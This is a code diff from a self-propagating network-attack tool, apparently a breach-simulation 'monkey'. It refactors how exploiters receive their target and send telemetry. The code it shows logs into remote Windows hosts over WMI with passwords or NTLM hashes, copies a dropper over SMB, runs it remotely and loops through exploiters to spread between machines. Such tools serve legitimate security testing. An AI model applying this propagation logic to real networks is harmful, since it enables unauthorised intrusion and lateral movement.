"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
return False return False
except Exception as exc: except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with " LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s", "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False return False
host.learn_credentials(user, password) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
# query process list and check if monkey already running on victim # query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process", process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
@ -70,11 +71,11 @@ class WmiExploiter(HostExploiter):
if process_list: if process_list:
wmi_connection.close() wmi_connection.close()
LOG.debug("Skipping %r - already infected", host) LOG.debug("Skipping %r - already infected", self.host)
return False return False
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
user, user,
@ -89,10 +90,10 @@ class WmiExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)
# execute the remote monkey # execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
@ -101,11 +102,11 @@ class WmiExploiter(HostExploiter):
if (0 != result.ProcessId) and (0 == result.ReturnValue): if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
success = True success = True
else: else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
success = False success = False
result.RemRelease() result.RemRelease()

View File

@ -4,7 +4,6 @@ __author__ = 'itamar'
class VictimHost(object): class VictimHost(object):
def __init__(self, ip_addr): def __init__(self, ip_addr):
self.ip_addr = ip_addr self.ip_addr = ip_addr
self.cred = {}
self.os = {} self.os = {}
self.services = {} self.services = {}
self.monkey_exe = None self.monkey_exe = None
@ -30,7 +29,7 @@ class VictimHost(object):
return self.ip_addr.__cmp__(other.ip_addr) return self.ip_addr.__cmp__(other.ip_addr)
def __repr__(self): def __repr__(self):
return "<VictimHost %s>" % (self.ip_addr, ) return "<VictimHost %s>" % self.ip_addr
def __str__(self): def __str__(self):
victim = "Victim Host %s: " % self.ip_addr victim = "Victim Host %s: " % self.ip_addr
@ -43,11 +42,5 @@ class VictimHost(object):
victim += ']' victim += ']'
return victim return victim
def learn_credentials(self, username, password):
self.cred[username.lower()] = password
def get_credentials(self, username):
return self.cred.get(username.lower(), None)
def set_default_server(self, default_server): def set_default_server(self, default_server):
self.default_server = default_server self.default_server = default_server

View File

@ -109,7 +109,7 @@ class ChaosMonkey(object):
self._network.initialize() self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] self._exploiters = WormConfiguration.exploiter_classes
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
@ -152,8 +152,8 @@ class ChaosMonkey(object):
machine.set_default_server(self._default_server) machine.set_default_server(self._default_server)
successful_exploiter = None successful_exploiter = None
for exploiter in self._exploiters: for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if not exploiter.is_os_supported(machine): if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported", LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine) exploiter.__class__.__name__, machine)
continue continue
@ -161,25 +161,22 @@ class ChaosMonkey(object):
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
try: try:
if exploiter.exploit_host(machine, WormConfiguration.depth): if exploiter.exploit_host():
successful_exploiter = exploiter successful_exploiter = exploiter
exploiter.send_exploit_telemetry(True)
break break
else: else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, exploiter.send_exploit_telemetry(False)
'exploiter': exploiter.__class__.__name__})
except Exception as exc: except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s", LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc) machine, exploiter.__class__.__name__, exc)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, exploiter.send_exploit_telemetry(False)
'exploiter': exploiter.__class__.__name__})
continue continue
if successful_exploiter: if successful_exploiter:
self._exploited_machines.add(machine) self._exploited_machines.add(machine)
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
'exploiter': successful_exploiter.__class__.__name__})
LOG.info("Successfully propagated to %s using %s", LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__) machine, successful_exploiter.__class__.__name__)